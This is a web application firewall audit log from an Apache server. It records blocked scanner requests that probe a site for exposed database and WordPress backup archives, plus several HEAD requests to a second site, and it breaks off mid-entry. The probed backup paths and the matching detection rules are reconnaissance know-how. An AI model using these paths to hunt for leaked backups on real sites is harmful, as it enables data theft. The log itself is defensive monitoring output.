Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqYgQmM7dE9KgIIOpQhgnwAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqYgQmM7dE9KgIIOpQhgnwAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789272130114049 59641 (- - -)
Stopwatch2: 1789272130114049 59641; combined=57739, p1=204, p2=57245, p3=0, p4=0, p5=290, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--028e9c6f-Z--
--15f4bc56-A--
[13/Sep/2026:07:02:12.970980 +0300] aqYgRGM7dE9KgIIOpQhgoAAAAM8 169.40.142.172 36540 127.0.0.1 7081
--15f4bc56-B--
GET /backup.sql.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--15f4bc56-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--15f4bc56-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqYgRGM7dE9KgIIOpQhgoAAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqYgRGM7dE9KgIIOpQhgoAAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789272132914548 56484 (- - -)
Stopwatch2: 1789272132914548 56484; combined=55164, p1=302, p2=54490, p3=0, p4=0, p5=372, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--15f4bc56-Z--
--ae7c997c-A--
[13/Sep/2026:07:02:13.456476 +0300] aqYgRWM7dE9KgIIOpQhgoQAAAMY 169.40.142.172 36542 127.0.0.1 7081
--ae7c997c-B--
GET /backup.zip HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--ae7c997c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ae7c997c-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqYgRWM7dE9KgIIOpQhgoQAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqYgRWM7dE9KgIIOpQhgoQAAAMY"]
Action: Intercepted (phase 2)
Stopwatch: 1789272133395172 61345 (- - -)
Stopwatch2: 1789272133395172 61345; combined=59782, p1=294, p2=59207, p3=0, p4=0, p5=281, sr=144, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ae7c997c-Z--
--3ec8cc22-A--
[13/Sep/2026:07:02:14.614937 +0300] aqYgRmM7dE9KgIIOpQhgogAAAMk 169.40.142.172 36552 127.0.0.1 7081
--3ec8cc22-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--3ec8cc22-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3ec8cc22-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqYgRmM7dE9KgIIOpQhgogAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqYgRmM7dE9KgIIOpQhgogAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789272134558454 56531 (- - -)
Stopwatch2: 1789272134558454 56531; combined=54716, p1=490, p2=53890, p3=0, p4=0, p5=335, sr=155, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ec8cc22-Z--
--19cbf54c-A--
[13/Sep/2026:07:02:21.277669 +0300] aqYgTWM7dE9KgIIOpQhgpQAAANc 169.40.142.172 41590 127.0.0.1 7081
--19cbf54c-B--
GET /wp-content/uploads/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--19cbf54c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--19cbf54c-E--
--19cbf54c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789272141270339 7396 (- - -)
Stopwatch2: 1789272141270339 7396; combined=4914, p1=377, p2=4151, p3=74, p4=7, p5=305, sr=182, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--19cbf54c-Z--
--7bc96216-A--
[13/Sep/2026:07:02:23.001344 +0300] aqYgTmM7dE9KgIIOpQhgpgAAAME 169.40.142.172 41598 127.0.0.1 7081
--7bc96216-B--
GET /wp-content/backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--7bc96216-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7bc96216-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqYgTmM7dE9KgIIOpQhgpgAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqYgTmM7dE9KgIIOpQhgpgAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789272142940164 61231 (- - -)
Stopwatch2: 1789272142940164 61231; combined=59817, p1=322, p2=59167, p3=0, p4=0, p5=327, sr=148, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7bc96216-Z--
--7c943b46-A--
[13/Sep/2026:07:02:27.569656 +0300] aqYgU0wu1RSkptiiNIXvJQAAAIc 169.40.142.172 52124 127.0.0.1 7081
--7c943b46-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--7c943b46-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7c943b46-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqYgU0wu1RSkptiiNIXvJQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqYgU0wu1RSkptiiNIXvJQAAAIc"]
Action: Intercepted (phase 2)
Stopwatch: 1789272147504193 65530 (- - -)
Stopwatch2: 1789272147504193 65530; combined=61932, p1=267, p2=61305, p3=0, p4=0, p5=359, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7c943b46-Z--
--02a75c08-A--
[13/Sep/2026:07:08:40.130415 +0300] aqYhyDTJ6xTvcJoem7f2QAAAAEc 151.243.174.13 58948 127.0.0.1 7081
--02a75c08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.13
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--02a75c08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--02a75c08-E--
--02a75c08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272520121574 8962 (- - -)
Stopwatch2: 1789272520121574 8962; combined=4547, p1=224, p2=3849, p3=95, p4=8, p5=370, sr=99, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--02a75c08-Z--
--96663c32-A--
[13/Sep/2026:07:08:40.642115 +0300] aqYhyEwu1RSkptiiNIXvRwAAAIU 95.134.102.121 58970 127.0.0.1 7081
--96663c32-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--96663c32-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--96663c32-E--
--96663c32-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272520636491 5662 (- - -)
Stopwatch2: 1789272520636491 5662; combined=4225, p1=280, p2=3621, p3=68, p4=6, p5=249, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--96663c32-Z--
--e17e7602-A--
[13/Sep/2026:07:08:41.082457 +0300] aqYhyWM7dE9KgIIOpQhg5AAAANg 151.243.174.132 58986 127.0.0.1 7081
--e17e7602-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e17e7602-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e17e7602-E--
--e17e7602-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272521075176 7331 (- - -)
Stopwatch2: 1789272521075176 7331; combined=5402, p1=273, p2=4773, p3=79, p4=8, p5=269, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e17e7602-Z--
--5ece7841-A--
[13/Sep/2026:07:08:50.619691 +0300] aqYh0kwu1RSkptiiNIXvSQAAAIc 46.203.158.51 47924 127.0.0.1 7081
--5ece7841-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5ece7841-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5ece7841-E--
--5ece7841-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272530611791 7941 (- - -)
Stopwatch2: 1789272530611791 7941; combined=5981, p1=410, p2=5166, p3=100, p4=9, p5=295, sr=182, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ece7841-Z--
--8b6dd162-A--
[13/Sep/2026:07:08:50.948853 +0300] aqYh0kwu1RSkptiiNIXvSgAAAJA 46.203.158.22 47940 127.0.0.1 7081
--8b6dd162-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--8b6dd162-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8b6dd162-E--
--8b6dd162-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272530940676 8225 (- - -)
Stopwatch2: 1789272530940676 8225; combined=5731, p1=441, p2=4891, p3=82, p4=9, p5=308, sr=200, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8b6dd162-Z--
--72b64d78-A--
[13/Sep/2026:07:08:51.247738 +0300] aqYh0zTJ6xTvcJoem7f2QwAAAFY 46.203.158.181 47948 127.0.0.1 7081
--72b64d78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--72b64d78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--72b64d78-E--
--72b64d78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272531240120 7660 (- - -)
Stopwatch2: 1789272531240120 7660; combined=5725, p1=302, p2=4915, p3=90, p4=10, p5=386, sr=132, sw=22, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--72b64d78-Z--
--1964bd58-A--
[13/Sep/2026:07:08:56.785984 +0300] aqYh2GM7dE9KgIIOpQhg6gAAAMg 91.124.31.155 59594 127.0.0.1 7081
--1964bd58-B--
